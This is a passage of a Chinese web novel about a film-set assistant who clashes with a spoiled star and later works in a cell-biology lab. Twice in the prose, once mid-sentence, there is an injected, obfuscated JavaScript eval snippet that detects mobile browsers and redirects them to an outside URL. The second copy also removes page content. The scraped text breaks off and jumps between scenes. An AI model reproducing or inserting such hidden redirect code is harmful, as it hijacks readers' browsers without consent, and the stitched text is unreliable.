主演一离开,导演脸瞬间把火气砸向两位助理:“你们是干什么吃的?演员台词一点没背?整场戏卡在这儿,还拍不拍了?知道耽误一场,剧组要烧多少钱?知道白灝辰档期多紧、片酬多贵吗!” 不梦下午就被Sunny提醒过,这种事,剧组只会追究助理,不会动演员。 全组,谁都得罪不起白灝辰。 她早有心理准备,此刻只和Sunny连连道歉。 Sunny低声提议:“不然让他念数字,或是随便说点什么,后期配音对口型就行。他平时也......” 导演双目一瞪:“你们把拍戏当什么?我这剧就这么不值钱?就因为不是大制作?不行!” 争执到最后,只能妥协。 先把大段台词切掉,后面再置景补拍,这会儿直接拍吻戏。 随着场记板“啪”地一声落下,镜头对准草坪中央的两人。 “哥哥,我舍不得你。”小五攥着衣角,哭得像个泪人。 柏恩也哽噎,比小五高出大半截,平日里冷冽的眉眼柔和下来,眼底翻涌着不舍,深情地望着少女:“我也舍不得你。” 小五揉着泪:“怎么办?暑假之后,我们就要各奔东西了!” “我们可以天天打视频,天天见面。”柏恩腼腆地搓着手,指尖有些握不住的抖。 “可是......可是......我怕你喜欢上别人。” 话音刚落,柏恩猛然伸手,将小五紧紧拥入怀中。先是额头,再到鼻尖,再到唇。 树后的不停吐出七彩的泡泡,落在两人肩头、发间。漫天星光,暖黄串灯与冷白补光的交织,泛着浪漫的柔光。鼓风拂过草坪,青草沙沙作响。 “卡!完美!” 导演举着对讲机,声音里满是恭维:“太敬业了!白老师,唐老师,演得太到位了!把那种初吻的生涩和分离的不舍全演出来了!” 副导演也附和:“这么好的镜头,多来几条吧,换几个角度再补拍两组,后期也有更多选择。” 唐婉丽看向白灝辰,眼底尽是少女的羞涩,轻轻点头。 白灝辰亦淡淡颔首,两人都应了导演的提议。 接下来的两个小时,草坪上的灯光与泡泡未歇,两人反复补拍吻戏,镜头从不同角度捕捉着。 收工已是半夜。 不梦拖着疲惫的脚步回到宿舍,掏出手机,屏幕上的时间赫然显示:两点。 六点就要起来。 她不是受不得累的人,很小就打零工,甚至做过童工,累活脏活都扛过。大学拿助学金,依旧半工半读。 可从来没有一份工作,让她这样累! 是那种做自己不喜欢的事情,还要被磋磨的心累。 伸手翻开床头那本《细胞的世界》,目光落在一页页规整的分子结构图上。 只有这里,才让她心安。 当初选生物,就是偏爱实验室的安静有序,有逻辑。 对就是对,错就是错,不用人情世故,不用随时看人脸色,更没有一张假脸要演到凌晨两点! 第二天一早,刚赶到片场,就被公司财务的电话叫到一旁。 对方直接告知:因剧组投诉,助理未督促演员背词,延误拍摄进度,给片方造成经济损失。此次剧本由不梦分摊负责,责任在她。公司经裁决,现决定扣除当月全部绩效。 她除了苦笑再无表情,连辩驳的话都不知道去哪里说。 握着手机,平静地应了一声:“知道了。” 她早该明白,在这个圈子里,犯错的永远是够不到话语权的人。 她本来就只打算做满一个月,拿一万四就走人。 可照这么下去,别说拿钱,说不定最后还要倒贴公司钱。 这一次,她是真生气了,压不住的火。 长这么大,她第一次,这么想动手揍一个人。 把那个散漫不敬业,最后让别人替他扛锅买单的人,狠狠揍一顿! 硬生生忍了好几天,目光能不落在白灝辰身上,就绝不看一眼。 Sunny回到公寓拉着她安慰,说自己刚来那会儿比她还惨,剧组直接追责索赔,她倒欠公司十万。可那一年做下来,她提成拿了五十万,咬咬牙也就熬过来了。 Sunny是个敦厚乐观的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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Sunny贴在不梦耳边:“资方本来就有意让他俩炒CP,为这片子宣传造势,俩人正好顺水推舟。不过你别当真,Jack向来不长情,女朋友换得比衣服还勤,从没一个超过三个月。” 她瞥了眼唐婉丽,轻叹了声:“她啊,看来是陷在戏里,走不出来了。” 不梦看着白灝辰的背影。 她对这个人的私生活丝毫不感兴趣,她只评估,还值不值得浪费时间。果真如Sunny所说,几个月的忍耐能拿一二十万,也值。 她忽然想起了前面那个助理。 一句滚蛋,三十万呢。 那天在别墅,亲历了他和车模的龌龊,算起来,也算是攥住了他的隐私。 念头至此,不梦紧绷多日的嘴角,微微地勾了一下。 心情顿转大好。 几日后,同样的房车上,同样的场景。剧本递上去:“Jack,该背台词了。” 对方如她所料,置若罔闻,瘫在椅中,指尖飞快戳着屏幕,嘴里还时不时冒出骂声,意识正在二次元里徜徉呢。 不梦直接上手,打破次元壁。 那是一台水果手机,不梦的力道用的很巧,像课堂上老师没收学生的“违禁物”,稳准,又不至张扬。 白灝辰正玩得起劲,嘴里还哼着二次元配乐,冷不丁手机被一只微凉的手骤然抽走,他的意识来不及从虚拟世界切换,在按摩椅里猛一挣,肩膀蹭过座椅扶手,才反应过来。 下一刻,怒火直冲眼底,他狠瞪着不梦,戾气骤起:“你他妈疯了?敢抢我手机?” 不梦手指利落一划,直接退掉游戏界面,按黑了屏幕。 不就是喝点厕所水么,横竖只要不死,她能忍。 10. 十 爱情分式 十 受点辱,还清债,值! 将手机放进自己的裙子口袋,她叉起胳膊,居高临下俯视着他说: “屏幕持续闪动,会持续刺激脑神经回路,短期分心,长期则记忆力下降。你本来台词就烂,再这么玩下去,真会把自己玩成傻子。” 白灝辰先是错愕,然后瞬间气笑,坐直身子,咬牙要发作。 不梦淡淡补了一句:“小朋友,傻子是什么样,你见过吗?我是为了你好,不让你变成傻子。” 说着换上了软命令的语气:“好了,背词,背完再玩。” 把剧本推过去。 白灝辰转了转手腕,骨骼微响,冷嗤:“敢威胁小爷啊。” 不梦拿出一双医用塑胶手套递给他,语气淡漠的像是事不关己:“戴上,省得你事后还得洗手。” 白灝辰不解:“你给我这玩意儿干什么?” 不梦道:“你不是就会欺辱女人么,我晓得你的手段。来吧,麻利点,你痛快,我也痛快。” 说着,拿掉眼镜,拿皮筋扎起长发,卷一个低丸子。 白灝辰盯着她,猛然站起来,高大身躯如山岳压下,气势逼人。“看来你连怎么死都想好了?” 不梦笑了一声,轻的像风,揶揄道:“那取决于白少爷想让我怎么死,什么方法死。” 白灝辰望向车窗外,摩擦着牙龈,像是从来没有人敢这么挑衅他。 下一秒,他果然上前扣住她的后颈,他手指生得细长,力道一收,像一把铁钳。 不梦没挣,顺着他的力道走,脚步同频,半点反抗都没有。 两人贴得极近,倒不像押解,像他半抱着她。 一路进了房车卫生间,他猛地发力,将她按在洗手池边。整块人造石凉得刺骨,光面映出两人模糊的身影。 水龙头被“啪”地拧开,冷水哗啦啦砸在瓷面上,溅起无数水花。 可他停了,没有下一步。 不梦两掌稳稳抵在冰凉光滑的石面上,垂眼望着白花花的水顺着池壁滑进下方的陶瓷下水口,心跳丝毫不乱,静静等他的动作。 水声哗哗,盖过了房车里一切声响。 *** 哗哗声混着热气,笼罩的浴室一片朦胧,瓷砖上布满水珠。白花花的水顺着身体淌下,汇入出水口,卷走几缕她的头发。 不梦洗完了,关掉水,裹上浴袍,擦拭着头发走出来。 小白还在睡梦中,右臂伸展着,保持搂她的姿势。 被单只掩到他胸口,露出一截线条性感的肩颈。 到底是吃明星这碗饭的人,先天骨相就拔尖,后天又管理得一丝不苟,一米九的身形,不胖不瘦,肩宽腰窄,皮肤冷白,连睡着的轮廓都干净得晃眼。 不梦吹风机的嗡鸣吵醒了他。 惺忪着眼拿起床头的手机瞄了下时间。 不梦吹完了头发,问:“你几点走?” 小白闷闷地躺着,枕着手臂,鼻音有点囔:“我们快两个月没见了,你干脆请一天假,陪陪我吧。这么着急上班,就耽误一天,细胞房离了你还不过了?” 不梦打开衣柜取出干净的衣服,一边说:“少废话,快点起来洗漱,我要消杀屋子。” “一天不消毒没事的。” “不行!” 小白仰面望着天花板:“那你开吧,我就不信还能把我烧死。” 不梦无奈地:“那我还要锁门呢。” 小白闭上眼睛准备继续睡:“我下午走,上午补觉,拍戏缺的觉还没补回来。” 不梦换好衣服,只能把紫外线灯收起。“早饭我做好了,粥在电饭煲里,菜和吃的你自己用微波炉热热,吃完了把碗放洗碗池就行。” 小白“嗯”一声,像个得不到糖果的孩子:“就是不能陪我一天,吝啬的女人!” 不梦坐到妆镜前梳头,扎了个低丸子,又画淡妆。 小白侧个身,望着她的背影。 她收拾妥当,径直出门上班。一进培养室,就沉浸进无菌台里,动作稳得像是肌肉里的本能。 从液氮罐中取出一支冻存管,确认无液氮渗入后,在37℃水浴中快速复苏,轻轻摇晃至只剩少许冰晶。再小心翼翼地离心,弃上清、重悬,吹打成均匀的单细胞悬液,再全部转入培养瓶。 这批细胞状态稳定,增殖速度快。 她按1:3传代,一瓶扩成三瓶,放入培养箱。 等贴壁、生长,汇合度达到80%~90%,再继续扩培。 今天只做种子细胞的中间扩培,为后续下游的工艺提纯、中试放大做前期准备,不急于冻存,先把稳定株库的规模养足。 中午工作餐,不梦一进食堂,排队取餐的同事纷纷转头跟她打招呼,热门话题还是昨天她的生日,说蛋糕好吃,水果也新鲜。 不梦只得一路笑着应声:“不客气。” 院中的心形玫瑰墙还立在原处,花瓣边缘微微发褐,显然是冻了一夜,花叶蔫蔫地垂着。 小陈是头一回见这么隆重的生日排场,一路追着她好奇打探:“苏姐,你家那位到底是何方神圣啊?” 又一脸稀罕地说起昨天分到的水果:“我就只舍得吃了淡雪草莓,那个美国红皮牛心果我还是头一回见,特意加冰寄回去给我妈了。” 下午带两个实习生到上游原代种子提取室,领小鼠肾小管上皮细胞作体外毒性测试。 原代室在办公楼西端,是整个科技园最偏僻的地方,远离主办公区,门上用黑体字写着“R&D”,旁边一块小牌子上,醒目的红字格外扎眼:“动物实验区?非授权人员禁止入内”。 小陈小声对小江说:“我每次来这儿都感觉有一股阴气,冷飕飕的。” 小江也撇撇嘴:“真佩服在这儿干活的师兄师姐,得多大的心脏!” 三人刷指纹和脸部识别,换好“武装”消好毒后进入,里面体感比细胞房低很多,灯光也是刺骨的冷白。小陈下意识地拢了拢洁净服。 原代室的同事正在有序地处理实验小鼠,穿的跟他们一样的洁净服,只露出一双双专注的眼睛。 空气中有消毒水和动物垫料混合的味道。 操作台旁几个无菌箱,里面是几只4周龄的雪白小鼠,拇指般大,注射了麻醉,尾巴还在轻微蠕动。 同事取出一只,熟练地扯拉尾部,颈椎脱臼处死,然后浸泡75%酒精中。两分钟后,移入超净工作台,对他们说:“你们自己来取吧,取完记得核对编号,测一下细胞活率,没问题再带走。” “好。”不梦拿起解剖剪和镊子,将小鼠腹面朝上固定,沿腹中线剪开皮肤,逐层剥离脂肪和筋膜,打开腹腔,将内脏推向一侧,在脊柱两侧密密麻麻缠绕的血管中找到淡红色的肾脏。 小陈在旁半闭着眼,发着抖用无菌平皿接住。小江用准备好的冰浴PBS缓冲液冲洗三遍,剪刀剪碎成细小的组织块,再洗涤,随后倒入离心管等降沉,用移液枪弃上清,加入消化酶,摇晃混匀。放进离心机设定好参数 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17590656|205448||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,按下启动键。 消化、离心,就能得到初步的肾小管上皮细胞悬液,回去之后还要过滤、纯化,才能用于体外测试。 小陈问小江:“你们大学常操作解剖腹腔吗?” 小江答:“没有,本科进实验室少,所以并不熟练。” 不梦用移液器吸取少量悬液,滴在计数板上,放在显微镜下观察,对他们说:“活率没问题,可以带走了,回培养室接种。” 这一天,忙到抬不起头,大脑便无暇再想任何事。 这里没有片场、甩锅和算计,只有精准枯燥而不容错的流程。 直到傍晚下班,她拖着一身疲惫回家。 一推门,就看见小白还躺在沙发里,没走。 茶几上多了一只陌生的烟灰缸,里面堆满烟头,空气里飘着一股浓重的烟草味。 不梦有洁癖,最闻不得烟味,当即快步过去开窗通风,冷风瞬间灌进屋里。 她捂着口鼻质问他:“你怎么没走?怎么在我这儿抽烟呢?” 小白起身默默收拾烟头,动作小心,生怕弄出一点烟灰。低声答:“通告调了,明天走。” 他眼底压着化不开的烦躁,眉骨绷得很紧,明显是有心事。将烟头倒进纸篓,又去厨房水槽边将烟缸冲洗干净。 不梦脱下羽绒服,漫不经心问:“你不是从来不抽烟的吗?怕坏嗓子,什么时候有了这个瘾的?” 小白低着头擦手,眼中闪过复杂的神色:“不抽烟还是男人吗。” 不梦系上围裙准备给自己做晚饭,问他:“你吃过了吗?” “没有。” “中午吃的什么?” “外卖。” 不梦打开冰箱,拿出醒置的面团:“怎么不回家呢,我这里偏僻,没什么馆子。” 小白没答,只坐在沙发里,低头看着大理石茶几上自己的倒影。 “打卤面行吗?” “嗯,分量多些。” 她在灶台前切卤子丁。 他不知什么时候悄声走到身后,忽然伸臂环住她的腰际,下巴抵在她颈后,唇灼热地贴在她皮肤上,声音哑得厉害,似带着压抑的痛苦: “老婆。” 不梦手一顿,立刻轻轻挣开,往旁边挪了半步:“别闹,仔细害我切到手。再胡说,我就不做你的饭了。” 他便不再靠近,只侧身靠着壁橱,看她忙碌。 不多会儿,两碗茄丁卤的拉面,一个拌菜,一个小炒,一份蛋花汤,热腾腾端上桌,两人对坐吃着。 小白吸溜着面,吃的发了汗:“要是有红酒配就好了,真想喝几瓶。” 不梦还系着围裙:“又不是法餐,喝什么红酒。” 小白夹了菜:“法餐没几个能入口的。要不一会儿吃完了,我叫几瓶送过来,我们喝点?” 不梦可不敢再跟他喝酒了,酒精误人不浅。“你还是自己出去喝吧,两站地外就有音乐吧。” 十一点,海啸的冲撞终于平息,余浪一点点退去。 两人收拾干净,各自靠在床头。 不梦微侧着身翻着手机,额发还沾着一层薄汗。小白赤着上身,喘息未平,指尖无意识地攥着被单,眉峰紧紧拧起,神色凝重得像压着块沉石。 静默里,他忽然开口,低哑的声音: “我不在这里的五十多天,不会......有别人睡过这儿吧?” 不梦“嗯”了声,随口说:“当然了,我要解决生理问题。” “靠!”